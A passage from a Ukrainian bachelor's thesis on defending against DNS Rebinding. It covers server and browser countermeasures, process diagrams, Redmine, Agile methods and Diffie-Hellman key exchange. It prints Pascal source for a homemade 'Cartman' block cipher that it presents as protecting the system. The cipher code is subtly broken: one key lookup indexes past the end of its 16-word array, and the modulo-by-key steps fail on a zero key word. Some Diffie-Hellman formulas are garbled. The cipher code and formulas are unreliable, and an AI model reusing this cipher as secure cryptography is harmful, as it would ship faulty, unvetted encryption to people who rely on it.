1. Правильне налаштування ПЗ сервера. Вилучити на веб-серверах 

параметр Virtualhost зі значенням _default_, або *:80 і явно прописати імена 

хостів. 

2. Захист із боку розроблювача веб-застосунку. При установці застосунку 

пропонувати користувачеві ввести доменне ім'я сервера, на якому буде 
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розташовуватися застосунок, і обробляти запити від клієнта тільки в тому 

випадку, якщо параметр Host запиту HTTP відповідає імені домену, зазначеного 

при установці. 

3. У браузерах використовувати плагін NOSCRIPT або аналоги, 

заборонити виконання скриптів Javascript, Java-апплетів або Flash-застосунків. 

4. Використовувати поділ зон, при якому скрипту, отриманому із 

зовнішнього інтернету, буде однозначно заборонено звертатися до ресурсів, 

розташованих у локальній мережі користувача. 

При такому підході однозначно вразливими залишаються тільки віддалені 

сервіси, що надають API, для яких ім'я хосту не передбачене в принципі. 

Наприклад, API для роботи із хмарами на базі Amazon EC2, або система 

віртуалізації Vmware ESX. 

 

3.4 Розробка діаграми процесів 

 

Відповідно до методичних рекомендацій розроблення графічної частини 

кваліфікаційної бакалаврської роботи розглянемо розроблену діаграму процесів 

яка зображена на рисунку 3.3.  

Розроблена діаграма взаємодії процесів використовується для 

представлення та візуалізації процесів обробки даних тобто структурного 

проектування бакалаврської роботи.  

Основні складові елементи діаграми взаємодії процесів це потоки даних: 

– Репозиторії, потік сховища даних. 

– Потоки зовнішні по відношенню до системи сутності. 

– Процеси які являють собою трансформацію даних в рамках описуваної 

системи. 

– Потоки даних гібридні між елементами трьох попередніх типів. Ка
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Відповідно до документації основна будова діаграми процесів полягає у 

графічному представленні складу сукупностей даних, що характеризуються як 

співвідношення різних частин кожної з сукупностей.  

 

 

 

Рисунок 3.3 – Діаграма взаємодії процесів 

 

Склад статистичної сукупності графічно може бути представлений як за 

допомогою абсолютних, так і відносних показників. Графічне зображення складу 

сукупності по абсолютними і відносними показниками сприяє проведенню більш 

глибокого аналізу і дозволяє проводити аналіз системи. 

Для схематичного представлення системи що розробляється необхідно 

спочатку представити діаграму взаємодії процесів даних рівня контексту, завдяки 

чому буде показано взаємодію системи в цілому у подальшому.  

Використовується модель проектування, графічне представлення 

«потоків» даних в інформаційній системі.  

Розроблена діаграма взаємодії процесів системи в подальшому 
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уточнюється шляхом деталізації процесів та потоків даних з метою показати 

систему що розробляється.  

Таким чином у результаті після розгляду, вищеописаної системи, схеми 

структурної, функціональної, діаграми взаємодії процесів перейдемо до опису та 

розгляду блок-схем основної програми, та підпрограм, які використовуються, для 

реалізації системи. 
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4 РЕАЛІЗАЦІЯ РОБОТИ. РОЗРАХУНКИ І  

ЕКСПЕРИМЕНТАЛЬНІ ДАНІ, ЩО ПІДТВЕРДЖУЮТЬ  

ВІРНІСТЬ ПРОЕКТНИХ ТА ПРОГРАМНИХ РІШЕНЬ 

 

 

4.1 Блок-схеми та опис алгоритмів функціонування системи 

 

Блок-схема це представлення задачі для її аналізу або розв'язування за 

допомогою спеціальних символів (геометричних образів), які позначають такі 

елементи, як операції, потік, дані тощо. Блок вхідних та вихідних даних прийнято 

позначати паралелограмом, блок обчислень (обробки) даних – прямокутником, 

блок прийняття рішень – ромбом, еліпсом – початок та кінець алгоритму. 

Розглянемо послідовність дій  та викликів підпрограм в загальному 

алгоритмі роботи основної програми що зображено на рисунку 4.1. у вигляді 

блок-схеми: 

– Виведення вікна системи кібербезпеки для протидії атаці DNS Rebinding. 

– Складання списку пристроїв у мережі та  запитів користувача. 

– Побудова топології доступа до скриптів. 

– Визначення рівнів поділу на зони. 

– Виведення на екран схеми даних. 

– Аналіз мережної статистики. 

– Виведення результатів мережної статистики. 

– Запит сканування потоку трафіку. 

– Підпрограма сканування підозрілого поводження трафіку. 

– Визначити типу протидії  атаці DNS Rebinding. 

– Виведення на екран результатів. 

– Запит усунути підозрілий трафік. 

– Блокування підозрілого трафіку. 

– Виведення на екран результатів фільтрації. 
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– Вихід – завершення циклу ПЗ. 

 

 

 

Рисунок 4.1 – Блок-схема основної програми 

 

На рисунку 4.2 зображено роботу підпрограми з реалізацією наступних 

дій: 

– Запит є профіль блокування скриптів. 

– Створення профілю поводження нормального трафіку. 

– Збір базової інформації детектором аномалій трафіку. 

– Визначення інтенсивності пакетів для кожного типу пакеті. 

– Визначення співвідношення пакетів. 

– Визначення кількості одночасних TCP-з'єднань, відкритих одним 

джерелом. 

– Запис до журнала роботи ПЗ. 
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– Ввімкнення режиму моніторингу пакетів мережі. 

– Запит виявлено підозрілий трафік. 

 

 

 

Рисунок 4.2 – Блок-схема роботи підпрограми 

 

– Блокування роботи скриптів Javascript, Java-апплетів або Flash-

застосунків. 

Дані у системі захищаються за допомогою алгоритму обміну ключа Діффі-

Хеллмана що детально розглянута у наступному розділі 4.2.  

Крім цього було використано симетричний блоковий крипто алгоритм 
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Cartman на деяких стадіях протидії атаці DNS Rebinding. 

У алгоритмі використовується 512-бітний ключ і 128-бітний (16 байтний) 

блок. Всі операції – підстановки, перестановки, додавання за модулем 2, зміщення 

і ділення по модулю виконуються з 32-розрядними числами. 

Останньою редакцією алгоритму є його модифікація 1.1mK зі змінною 

довжиною ключа і виправленим механізмом його вибірки. Алгоритми даного 

сімейства засновані на трансформації фіксованого блоку довжиною 128 біт (16 

байт або чотири 32-розрядних числа), довжина ключа в останніх модифікаціях 

алгоритму змінна і кратна 256 бітам, тобто 256 x L біт, де рекомендоване значення 

L – число від 2 до 8. 

Всі модифікації не дотримуються чітко основам мережі Фейстеля, за один 

раунд взаємозалежно трансформуючи обидві половини блоку і виконуючи 

перестановку 32-розрядних елементів блоку. Зокрема, в версіях шифру від 1K і 

вище залежно від генерованої константи вибірки операції проводиться складання 

по модулю 2, або складання двох 32-розрядних елементів другої половини блоку з 

двома елементами першої половини, трансформованими обраними елементами 

ключа. 

Як і більшість класичних симетричних блокових шифрів, Cartman має 

схожі процедури шифрування і розшифрування. Іншими словами, процедура 

відновлення відкритого тексту є зворотною по відношенню до шифрування, 

вибірка ключа проводиться так само в зворотному порядку. 

Розглянемо вихідний код застосованого алгоритму: 

// назва модулю 

Unit use_cartman;  

 

Interface  

// інтерфейс модулю 

 

Type t128buf = array [0..3] Of longword; 

Type p128buf = ^t128buf; 

 

// об’ява основної процедури шифрування 

Procedure cartman_crypt(v: p128buf); 
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// Encrypt four 32 bit longwords 

 

Procedure cartman_decrypt(v: p128buf); 

// Decrypt four 32 bit longwords 

 

Procedure cartman_setkey(k: pointer); 

// Set 512 bit key (Pointer to 64 bytes or 16 longwords block) 

 

Procedure cartman_killkey(); 

// Clear internal key (after encryption or decryption, just security hint) 

 

Var key: array [0..15] Of longword; 

 

Implementation 

// реалізація 

 

Function ror32(N, R:longword): longword; 

// асемблерна вставка призначена для прискорення роботи модулю 

Asm  

 MOV EAX,N 

 MOV ECX, R 

 ROR EAX, CL 

End; 

 

Function rol32(N, R:longword): longword; 

// асемблерна вставка призначена для прискорення роботи модулю 

asm 

 MOV EAX,N 

 MOV ECX, R 

 ROL EAX,CL 

End; 

 

// реалізація основної процедури шифрування 

Procedure cartman_crypt(v: p128buf); 

Var ki, k1, k2, k3, k4, mod1, mod2: longword; 

  i: longint; 

Begin 

 

  For i:=0 To 127 Do 

    Begin 

      ki := i Mod 8; 

      k1 := key [ki*2]; 
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      k2 := key [ki*2+1]; 

      k3 := key [15-ki*2]; 

      k4 := key [15-ki*2+1]; 

      mod1 := k1 Mod 32; 

      mod2 := k2 Mod 32; 

      v[0]:= v[0] xor  (v[1]+v[2]) mod k1; 

      v[1]:= v[1] xor  (v[2]+v[3]) mod k2; 

      v[2]:= v[2] xor  (v[3]+v[0]) mod k1; 

      v[3]:= v[3] xor  (v[0]+v[2]) mod k2; 

// інкрементаційні/деінкрементаційні кроки  

      inc (v[0],  ROR32 (v[1] + k1, mod2)); 

      dec (v[0],  ROL32 (v[2] + k2, mod1)); 

      inc (v[0],  ROR32 (v[3] + k1, mod2)); 

      dec (v[1],  ROL32 (v[0] + k2, mod1)); 

      inc (v[1],  ROR32 (v[2] + k1, mod2)); 

      dec (v[1],  ROL32 (v[3] + k2, mod1)); 

      inc (v[2],  ROR32 (v[0] + k1, mod2)); 

      dec (v[2],  ROL32 (v[1] + k2, mod1)); 

      inc (v[2],  ROR32 (v[3] + k1, mod2)); 

      dec (v[3],  ROL32 (v[0] + k2, mod1)); 

      inc (v[3],  ROR32 (v[1] + k1, mod2)); 

      dec (v[3],  ROL32 (v[2] + k2, mod1)); 

 

      dec (v[0], (v[1] shl 6) xor (v[1] shr 9 ) + (v[1] xor k3 ) ); 

      inc (v[0], (v[2] shl 6) xor (v[2] shr 9 ) + (v[2] xor k4 ) ); 

      dec (v[0], (v[3] shl 6) xor (v[3] shr 9 ) + (v[3] xor k3 ) ); 

      inc (v[1], (v[0] shl 6) xor (v[0] shr 9 ) + (v[0] xor k4 ) ); 

      dec (v[1], (v[2] shl 6) xor (v[2] shr 9 ) + (v[2] xor k3 ) ); 

      inc (v[1], (v[3] shl 6) xor (v[3] shr 9 ) + (v[3] xor k4 ) ); 

      dec (v[2], (v[0] shl 6) xor (v[0] shr 9 ) + (v[0] xor k3 ) ); 

      inc (v[2], (v[1] shl 6) xor (v[1] shr 9 ) + (v[1] xor k4 ) ); 

      dec (v[2], (v[3] shl 6) xor (v[3] shr 9 ) + (v[3] xor k3 ) ); 

      inc (v[3], (v[0] shl 6) xor (v[0] shr 9 ) + (v[0] xor k4 ) ); 

      dec (v[3], (v[1] shl 6) xor (v[1] shr 9 ) + (v[1] xor k3 ) ); 

      inc (v[3], (v[2] shl 6) xor (v[2] shr 9 ) + (v[2] xor k4 ) ); 

    End; 

End; 

 

// процедура дешифрування 

Procedure cartman_decrypt(v: p128buf); 

 

Var ki, k1, k2, k3, k4, mod1, mod2: longword; // об’ява внутришніх змінних 
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  i: longint; 

Begin 

// основний цикл процедури 

 For i:=127 Downto 0 Do 

    Begin 

      ki := i Mod 8; 

      k1 := key [ki*2]; 

      k2 := key [ki*2+1]; 

      k3 := key [15-ki*2]; 

      k4 := key [15-ki*2+1]; 

      mod1 := k1 Mod 32; 

      mod2 := k2 Mod 32; 

      dec (v[3], (v[2] shl 6) xor (v[2] shr 9 ) + (v[2] xor k4 ) ); 

      inc (v[3], (v[1] shl 6) xor (v[1] shr 9 ) + (v[1] xor k3 ) ); 

      dec (v[3], (v[0] shl 6) xor (v[0] shr 9 ) + (v[0] xor k4 ) ); 

      inc (v[2], (v[3] shl 6) xor (v[3] shr 9 ) + (v[3] xor k3 ) ); 

      dec (v[2], (v[1] shl 6) xor (v[1] shr 9 ) + (v[1] xor k4 ) ); 

      inc (v[2], (v[0] shl 6) xor (v[0] shr 9 ) + (v[0] xor k3 ) ); 

      dec (v[1], (v[3] shl 6) xor (v[3] shr 9 ) + (v[3] xor k4 ) ); 

      inc (v[1], (v[2] shl 6) xor (v[2] shr 9 ) + (v[2] xor k3 ) ); 

      dec (v[1], (v[0] shl 6) xor (v[0] shr 9 ) + (v[0] xor k4 ) ); 

      inc (v[0], (v[3] shl 6) xor (v[3] shr 9 ) + (v[3] xor k3 ) ); 

      dec (v[0], (v[2] shl 6) xor (v[2] shr 9 ) + (v[2] xor k4 ) ); 

      inc (v[0], (v[1] shl 6) xor (v[1] shr 9 ) + (v[1] xor k3 ) ); 

      inc (v[3],  ROL32 (v[2] + k2, mod1)); 

      dec (v[3],  ROR32 (v[1] + k1, mod2)); 

      inc (v[3],  ROL32 (v[0] + k2, mod1)); 

      dec (v[2],  ROR32 (v[3] + k1, mod2)); 

      inc (v[2],  ROL32 (v[1] + k2, mod1)); 

      dec (v[2],  ROR32 (v[0] + k1, mod2)); 

      inc (v[1],  ROL32 (v[3] + k2, mod1)); 

      dec (v[1],  ROR32 (v[2] + k1, mod2)); 

      inc (v[1],  ROL32 (v[0] + k2, mod1)); 

      dec (v[0],  ROR32 (v[3] + k1, mod2)); 

      inc (v[0],  ROL32 (v[2] + k2, mod1)); 

      dec (v[0],  ROR32 (v[1] + k1, mod2)); 

      v[3]:= v[3] xor  (v[0]+v[2]) mod k2; 

      v[2]:= v[2] xor  (v[3]+v[0]) mod k1; 

      v[1]:= v[1] xor  (v[2]+v[3]) mod k2; 

      v[0]:= v[0] xor  (v[1]+v[2]) mod k1; 

    End; 

End; 
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// ключ 

Procedure cartman_setkey(k: pointer); 

Begin 

  move(k^,key,64); 

End; 

// видалення ключу 

Procedure cartman_killkey(); 

Begin 

  fillchar(key, 64, 0); 

  fillchar(key, 64, $FF); 

End; 

End. 

Redmine – вільне серверне ПЗ  для управління проектами та відстежування 

помилок. До системи входить календар-планувальник та діаграми Ганта для 

візуального представлення ходу робіт за проектом та строків виконання. Redmine 

написано на мові Ruby і є ПЗ розробленим з використанням відомого веб-

фреймворку Ruby on Rails, що означає легкість в розгортанні системи та її 

адаптації під конкретні вимоги. Для кожного проекту можна вести свої вікі та 

форуми. 

Функціональні можливості: 

– Ведення декількох проектів. 

– Гнучка система доступу з використанням ролей. 

– Система відстеження помилок. 

– Діаграми Ганта та календар. 

– Ведення новин проекту, документів та управління файлами. 

– Сповіщення про зміни за допомогою RSS-потоків та електронної пошти. 

– Власна Wiki для кожного проекту. 

– Форуми для кожного проекту. 

– Облік часових витрат. 

– Налаштування власних (custom) полів для задач, затрат часу, проектів та 

користувачів. 
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– Легка інтеграція із системами керування версіями (SVN, CVS, Git, 

Mercurial, Bazaar и Darcs). 

– Створення записів про помилки на основі отриманих листів 

– Підтримка LDAP автентифікації. 

– Можливість самореєстрації нових користувачів. 

– Багатомовний інтерфейс (у тому числі українська мова). 

– Підтримка СКБД: MySQL, PostgreSQL, SQLite. 

Діаграма Ганта (Gantt chart, також стрічкова діаграма, графік Ганта) – це 

популярний тип діаграм, який використовується для ілюстрації плану, графіка 

робіт за будь-яким проектом. Є одним з методів планування та управління 

проектами. 

Діаграма Ганта являє собою відрізки (графічні плашки), розміщені на 

горизонтальній шкалі часу. Кожен відрізок відповідає окремому завданню або 

підзадачі. Завдання і підзадачі, складові плану, розміщуються по вертикалі. 

Початок, кінець і довжина відрізка на шкалі часу відповідають початку, кінцю і 

тривалості завдання. На деяких діаграмах Ганта також показується залежність між 

завданнями. 

Діаграма може використовуватися для представлення поточного стану 

виконання робіт: частина прямокутника, що відповідає завданню, 

заштриховується, відзначаючи відсоток виконання завдання; показується 

вертикальна лінія, що відповідає моменту «сьогодні». 

Часто діаграма Ганта використовується спільно з таблицею зі списком 

робіт, рядки якої відповідають окремо взятій задачі, зображеній на діаграмі, а 

стовпці містять додаткову інформацію про задачу. 

Система відстеження помилок Багтрекер – прикладна програма для 

допомоги розробникам програмного забезпечення (програмістам, тестувальникам 

тощо) враховувати і контролювати помилки, знайдені у програмах, питання щодо 

функціональності, рішення та оновлення, побажання користувачів, а також 

стежити за процесом їх виконання. 
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Кожному, хто розробляв програмні продукти, добре знайоме 

співвідношення «20/80» – останні 20 % роботи тривають 80 % часу. 

Як це не парадоксально, але нічого дивного в цій пропорції немає, адже 

саме на завершальній стадії починається тестування проекту, коли виявляються 

помилки, і що більший проект, то більше буде знайдено помилок. 

Водночас досить часто виявляється, що більшість цих помилок були відомі 

та могли бути виправлені з меншими витратами на попередніх стадіях роботи, але 

не були вчасно описані, а потім загубилися серед інших важливих завдань. 

Отже, система відстеження помилок у найпростішому варіанті – це процес, 

що включає в себе виявлення помилки, її опис, виправлення і перевірку цього 

виправлення, тобто процес «стеження» за багом протягом всього як його 

життєвого циклу, так і життєвого циклу розробки в цілому. 

Сукупність інформації про дефект. Головний компонент такої системи –

 база даних, що містить відомості про виявлені дефекти. Ці відомості можуть 

включати в себе: 

– номер (ідентифікатор) дефекту; 

– хто повідомив про дефект; 

– дата і час виявлення дефекту; 

– версія продукту, в якій виявлено дефект; 

– серйозність (критичність) дефекту та пріоритет рішення; 

– опис кроків для відтворення дефекту (неправильної поведінки програми); 

– відповідальний за усунення дефекту; 

– обговорення можливих рішень та їх наслідків; 

– поточний стан виправлення дефекту; 

– версії продукту, в якій дефект виправлений. 

Крім того, розвинені системи надають можливість прикріплювати файли, 

які допомагають описати проблему, наприклад, дамп пам'яті або скріншот. Ка
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Використання. Основна перевага систем відстеження помилок полягає в 

забезпеченні чітких централізованих оглядів, запитів на розробку (включаючи 

помилки і виправлення) та їх стан. У корпоративному середовищі, системи 

відстеження помилок можуть бути використані для генерації звітів по 

продуктивності програмістів виправлення помилок. Однак, це може іноді 

приводити до неточних результатів, тому що різні помилки можуть мати різні 

ступені пріоритету та серйозності, що пов'язано з складністю їх фіксації. 

Життєвий цикл дефекту. Як правило, система відстеження помилок 

використовує той чи інший варіант «життєвого циклу» помилки, стадія якого 

визначається поточним станом помилки. 

Типовий життєвий цикл дефекту: 

1. Новий – дефект зареєстрований тестувальником. 

2. Призначений – призначений відповідальний за виправлення дефекту. 

3. Дозволений – дефект переходить назад у сферу відповідальності 

тестувальника. Як правило, супроводжується резолюцією, наприклад:  

– Виправлено (виправлення включені у версію таку-то). 

– Дубль (повторює дефект, що вже знаходиться в роботі). 

– Не виправлено (працює відповідно до специфікації, має занадто низький 

пріоритет, виправлення відкладено до наступної версії тощо). 

–  «В мене все працює» (запит додаткової інформації про умови, в яких 

дефект проявляється). 

4. Далі тестувальник проводить перевірку виправлення, залежно від чого 

дефект або знову переходить у стан «Призначений» (якщо він описаний як 

виправлений, але не виправлений), або у стан «Закрито». 

5. Відкрито повторно – дефект знайдено знову в іншій версії. 

Система може надавати адміністраторові можливість налаштування 

користувачі, які можуть переглядати і редагувати помилки залежно від їх стану, 

переводити їх в інший стан або видаляти. 

У корпоративному середовищі, система відстеження помилок може 
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використовуватися для отримання звітів, що показують продуктивність 

програмістів при виправленні помилок. Однак, часто такий підхід не дає 

достатньо точних результатів через те, що різні помилки мають різну ступінь 

серйозності та складності. При цьому серйозність проблеми прямо не стосується 

складності її усунення. 

Незважаючи на те що я працював над ПЗ один в реалізації програми я 

використовував підходи пришвидшення розробки на основі методологій Agile. 

Гнучка́ розробка програмного забезпечення (Agile software development, 

agile-методи) – клас методологій розробки програмного забезпечення, що 

базується на ітеративній розробці, в якій вимоги та розв'язки еволюціонують 

через співпрацю між самоорганізовуваними багатофункціональними командами.  

Гнучка розробка – найкращий засіб для підвищення продуктивності 

розробників програмного забезпечення. 

Більшість гнучких методологій націлені на мінімізацію ризиків, шляхом 

зведення розробки до серії коротких циклів, що мають назву ітерацій, які зазвичай 

тривають один-два тижні. Кожна ітерація сама по собі виглядає як програмний 

проект в мініатюрі, і включає всі завдання, необхідні для видачі мінімального 

приросту за функціональністю: планування, аналіз вимог, проектування, 

кодування, тестування і документування. Хоча окрема ітерація, як правило, 

недостатня для випуску нової версії продукту, мається на увазі те, що гнучкий 

програмний проект готовий до випуску наприкінці кожної ітерації. Після 

закінчення кожної ітерації, команда виконує переоцінку пріоритетів розробки. 

Agile акцентує увагу на безпосередньому спілкуванні «віч-на-віч». 

Більшість agile команд розташовані в одному офісі, його іноді називають bullpen. 

Як мінімум вона включає і «замовників» (замовники, які визначають продукт, 

також це можуть бути менеджери продукту, бізнес аналітики або клієнти). Офіс 

може також включати тестувальників, дизайнерів інтерфейсу, технічних авторів і 

менеджерів. 
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Основною метрикою agile методів є робочий продукт. Віддаючи перевагу 

безпосередньому спілкуванню, agile-методи зменшують обсяг письмової 

документації в порівнянні з іншими методами. Це привело до критики цих 

методів як недисциплінованих. 

Agile – родина процесів розробки, а не єдиний підхід в розробці 

програмного забезпечення, і визначається Agile Manifesto. Agile не включає 

практик, а визначає цінності та принципи, якими керуються успішні команди. 

Agile Manifesto розроблений і прийнятий 17 розробниками 11-13 лютого 

2001 року на лижному курорті The Lodge at Snowbird в горах Юти. Маніфест 

підписали представники наступних методологій Extreme programming, Scrum, 

DSDM, Adaptive software development, Crystal Clear, Feature driven development, 

Pragmatic Programming. Agile Manifesto містить 4 основні ідеї та 12 принципів. 

Примітно, що Agile Manifesto не містить практичних порад. 

Основні ідеї: 

– Особистості та їхні взаємодії важливіші, ніж процеси та інструменти. 

– Робоче програмне забезпечення важливіше, ніж повна документація. 

– Співпраця із замовником важливіша, ніж контрактні зобов'язання; 

– Реакція на зміни важливіша, ніж дотримання плану. 

Принципи, які роз'яснює Agile Manifesto: 

– задоволення клієнта за рахунок ранньої та безперебійної поставки 

коштовного програмного забезпечення; 

– вітання змін вимог навіть наприкінці розробки (це може підвищити 

конкурентоспроможність отриманого продукту); 

– часта поставка робочого програмного забезпечення (кожен місяць або 

тиждень або ще частіше); 

– тісне, щоденне спілкування замовника з розробниками впродовж всього 

проекту; 

– проектом займаються мотивовані особистості, які забезпечені 

потрібними умовами роботи, підтримкою і довірою; 
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– рекомендований метод передачі інформації – особиста розмова  

(віч-на-віч); 

– робоче програмне забезпечення – найкращий вимірювач прогресу; 

– спонсори, розробники та користувачі повинні мати можливість 

підтримувати постійний темп на невизначений термін; 

– постійну увагу поліпшенню технічної майстерності та зручному дизайну; 

– простота – мистецтво не робити зайвої роботи; 

– найкращі технічні вимоги, дизайн та архітектура виходять у 

самоорганізованої команди; 

– постійна адаптація до мінливих обставин. 

Маніфест та Принципи гнучкої розробки містять високорівневі ідеї щодо 

того, як потрібно вибудовувати процес розробки програмного забезпечення, щоб 

успішно завершувати проекти й створювати команди, в яких приємно та цікаво 

працювати.  

Документи визначають, що потрібно для цього зробити, але не говорять, як 

це зробити. По-іншому й не могло бути, оскільки Маніфест та Принципи 

народилися внаслідок консенсусу представників різних (хоча й споріднених) 

напрямів, які могли знайти спільну основу лише на рівні базових цінностей та 

принципів. 

Критика. Багато керівників проектів, що працюють у традиційних 

методологіях на кшталт «водоспаду», критикують agile-методи. 

Один з повторюваних пунктів критики: при agile-підході часто нехтують 

створенням «дорожньої карти» розвитку продукту, так само як і управлінням 

вимогами, в процесі якого і формується така «карта».  

Гнучкий підхід до управління вимогами не має на увазі далекосяжних 

планів (по суті, управління вимогами просто не існує в даній методології), а має 

на увазі можливість замовника раптом і несподівано наприкінці кожної ітерації 

виставляти нові вимоги, що часто суперечать архітектурі вже створеного і 
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поставленого продукту. Таке іноді призводить до катастрофічних «авралів» з 

масовим рефакторингом і переробками практично на кожній черговій ітерації. 

Крім того вважається, що робота в agile мотивує розробників вирішувати 

всі прибулі завдання найпростішим і найшвидшим можливим способом, при 

цьому часто не звертаючи уваги на коректність коду з точки зору вимог базової 

платформи (підхід «працює, та й добре», при цьому не враховується, що може 

перестати працювати при найменшій зміні або ж породити важкі до відтворення 

дефекти після реального розгортання у клієнта). Це призводить до зниження 

якості продукту і накопиченню дефектів. 

Методології. Існують методології, які дотримуються цінностей і принципів 

заявлених в Agile Manifesto, деякі з них: 

1. Agile Modeling – набір понять, принципів і прийомів (практик), що 

дозволяють швидко і просто виконувати моделювання і документування в 

проектах розробки програмного забезпечення. Не включає в себе детальну 

інструкцію з проектування, не містить описів, як будувати діаграми на UML.  

Основна мета – ефективне моделювання і документування; але не охоплює 

програмування та тестування, не включає питання управління проектом, 

розгортання і супроводу системи. Однак включає в себе перевірку моделі кодом. 

2. Agile Unified Process (AUP) спрощена версія IBM Rational Unified 

Process (RUP), розроблена Скоттом Амблером, яка описує просте і зрозуміле 

наближення (модель) для створення програмного забезпечення для бізнес-

додатків. 

3 Agile Data Method – група ітеративних методів розробки програмного 

забезпечення, в яких вимоги та рішення досягаються в рамках співпраці різних 

крос-функціональних команд. 

4. DSDM заснований на концепції швидкої розробки додатків (Rapid 

Application Development, RAD). Являє собою ітеративний і інкрементний підхід, 

який надає особливого значення тривалій участі в процесі 

користувача/споживача. 
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5. Essential Unified Process (EssUP). 

6. Екстремальне програмування (Extreme programming, XP). 

7. Feature driven development (FDD) – функціонально-орієнтована розробка. 

Використовуване в FDD поняття функції або властивості (feature) Системи досить 

близько до поняття прецеденту використання, використовуваному в RUP, істотна 

відмінність – це додаткове обмеження: «кожна функція повинна допускати 

реалізацію не більше, ніж за два тижні». Тобто якщо сценарій використання 

досить малий, його можна вважати функцією. Якщо ж великий, то його треба 

розбити на декілька відносно незалежних функцій. 

8. Getting Real – ітераційний підхід без функціональних специфікацій, що 

використовується для веб-додатків. У даному методі спершу розробляється 

інтерфейс програми, а потім її функціональна частина. 

9. OpenUP – це ітераційно-інкрементний метод розробки програмного 

забезпечення. Позиціюється, як легкий і гнучкий варіант RUP. OpenUP ділить 

життєвий цикл проекту на чотири фази: початкова фаза, фази уточнення, 

конструювання та передачі. Життєвий цикл проекту забезпечує надання 

зацікавленим особам та членам колективу точок ознайомлення і прийняття рішень 

впродовж усього проекту. Це дозволяє ефективно контролювати ситуацію і 

вчасно приймати рішення про задовільність результатів. План проекту визначає 

життєвий цикл, а кінцевим результатом є остаточний додаток. 

10. Scrum встановлює правила керування процесом розробки та дозволяє 

використовувати вже існуючі практики кодування, коректуючи вимоги або 

вносячи тактичні зміни. Використання цієї методології дає можливість виявляти і 

усувати відхилення від бажаного результату на більш ранніх етапах розробки 

програмного продукту. 

11. Бережлива розробка програмного забезпечення (lean software 

development). Використовує підходи з концепції бережливого виробництва. 
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4.2 Захист розробленого програмного забезпечення 

 

Дані у системі захищаються за допомогою алгоритму обміну ключа Діффі-

Хеллмана. 

Ціль алгоритму полягає в тому, щоб два учасники могли безпечно 

обмінятися ключем, що надалі може використовуватися в якому-небудь 

алгоритмі симетричного шифрування. Сам алгоритм Діффі-Хеллмана може 

застосовуватися тільки для обміну ключами. 

Алгоритм заснований на труднощі обчислень дискретних логарифмів. 

Дискретний логарифм визначається в такий спосіб. Уводиться поняття 

примітивного кореня простого числа Q як числа, чиї ступені створюють всі цілі 

від 1 до Q – 1. Це означає, що якщо А є примітивним коренем простого числа Q, 

тоді числа: 

A mod Q, A2 mod Q, . . . , AQ – 1 mod Q, 

є різними й складаються із цілих від 1 до Q – 1 з деякими перестановками. У 

цьому випадку для будь-якого цілого Y < Q  і примітивного кореня A простого 

числа Q можна знайти єдину експоненту Х, таку, що: 

Y = AХ mod Q, 

де 0 ≤ X ≤ (Q – 1). 

Експонента X називається дискретним логарифмом, або індексом Y, по 

підставі A mod Q. Це позначається як ind, Q (Y). 

Тепер опишемо алгоритм обміну ключів Діффі-Хеллмана. 

Загальновідомі елементи 

Q – просте число. 

A – A < Q і A є примітивним коренем Q.  

Створення пари ключів користувачем I 

Вибір випадкового числа Хi (закритий ключ): 

Xi < Q. 

Обчислення числа Yi (відкритий ключ): 

Ка
фе
др
а_
Кб
ПЗ

_2021р
ік



№ докум. Підпис Дата 

Арк. 

Арк. Вим. 
КБР-125.21.0013.00.00.ПЗ  

 

 

 
  63 

 

Yi = AXi mod Q. 

Створення відкритого ключа користувачем J 

Вибір випадкового числа Хj (закритий ключ): 

Xj < Q. 

Обчислення випадкового числа Yj (відкритий ключ): 

Yj  = AXj mod Q. 

Створення загального секретного ключа користувачем I 

K = (Yj)Xi mod Q. 

Створення загального секретного ключа користувачем J 

K = (Yi)Xj mod Q. 

Передбачається, що існують два відомих усім числа: просте число Q і ціле 

A, що є примітивним коренем Q.  

Тепер припустимо, що користувачі I і J хочуть обмінятися ключем для 

алгоритму симетричного шифрування.  

Користувач I вибирає випадкове число Хi < Q і обчислює: 

Yi = AXi mod Q. 

Аналогічно користувач J незалежно вибирає випадкове ціле число Хj < Q і 

обчислює: 

Yj = AXj mod Q. 

Кожна сторона тримає значення Х у секреті й робить значення Y 

доступним для іншої сторони.  

Тепер користувач I обчислює ключ як К = (Yj)Xi mod Q, і користувач J 

обчислює ключ як K = (Yi)Xj mod Q. У результаті обоє одержать те саме значення: 

K = (Yj)Xi mod Q   = (AXj mod Q)Xi mod Q   = (AXj)Xi mod Q = 

за правилами модульної арифметики 

= AXj Xi mod Q = (AXj)Xj mod Q = (AXi mod Q)Xj mod Q = (Yi)Xj mod Q 

Таким чином, дві сторони обмінялися секретним ключем. Так як Хi і Хj є 

закритими, супротивник може одержати тільки наступні значення: Q, A, Yi і Yj. 
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Для обчислення ключа атакуючий повинен зламати дискретний логарифм, тобто 

обчислити: 

Xj = inda, q (Yj). 

Безпека обміну ключа в алгоритмі Діффі-Хеллмана випливає з того факту, 

що, хоча відносно легко обчислити експоненти по модулю простого числа, дуже 

важко обчислити дискретні логарифми. Для великих простих чисел задача 

вважається нерозв'язною. 

Варто помітити, що даний алгоритм уразливий для атак типу "in-the-

middle". Якщо супротивник може здійснити активну атаку, тобто має можливість 

не тільки перехоплювати повідомлення, але й заміняти їх іншими, він може 

перехопити відкриті ключі учасників Yi і Yj , створити свою пару відкритого й 

закритого ключа (Xоп, Yоп) і послати кожному з учасників свій відкритий ключ. 

Після цього кожний учасник обчислить ключ, що буде загальним із 

супротивником, а не з іншим учасником. Якщо немає контролю цілісності, то 

учасники не зможуть виявити подібну підміну.  
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5 МЕТОДИКА ВПРОВАДЖЕННЯ СИСТЕМИ  

В ПРОМИСЛОВУ ЕКСПЛУАТАЦІЮ 

 

 

Програма має простий та інтуїтивно зрозумілий інтерфейс, який 

зображений на рисунку 5.1. З рисунку головного вікна можна побачити що 

інтерфейс головного вікна розподілено на наступні функціональні розділи: 

– Функціональних кнопок ПЗ представлених у графічному вигляді –

 інтуїтивно зрозумілих іконок. 

– Навігаційного меню яке викликається натисканням правої клавіші 

маніпулятора миші: Журнал роботи. 

– Верхнього меню: Файл; Вид; Параметри; Довідка. 

– Розділу обрання групи моніторингу. 

– Розділу виведення результату роботи системи з статистичними 

мережними полями виведення поточних даних. 

 

 

 

Рисунок 5.1 –  Головне вікно ПЗ 

 

На рисунку 5.2 зображено авторські дані розробленого програмного 

забезпечення. Розроблена програма має дуже простий і зрозумілий інтерфейс з 

користувачем. Кожен, хто в достатньому обсязі володіє операційним 
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середовищем Windows без особливих складностей освоїть і цю програму, 

оскільки її інтерфейс інтуїтивно зрозумілий. Якщо програма не видала ніяких 

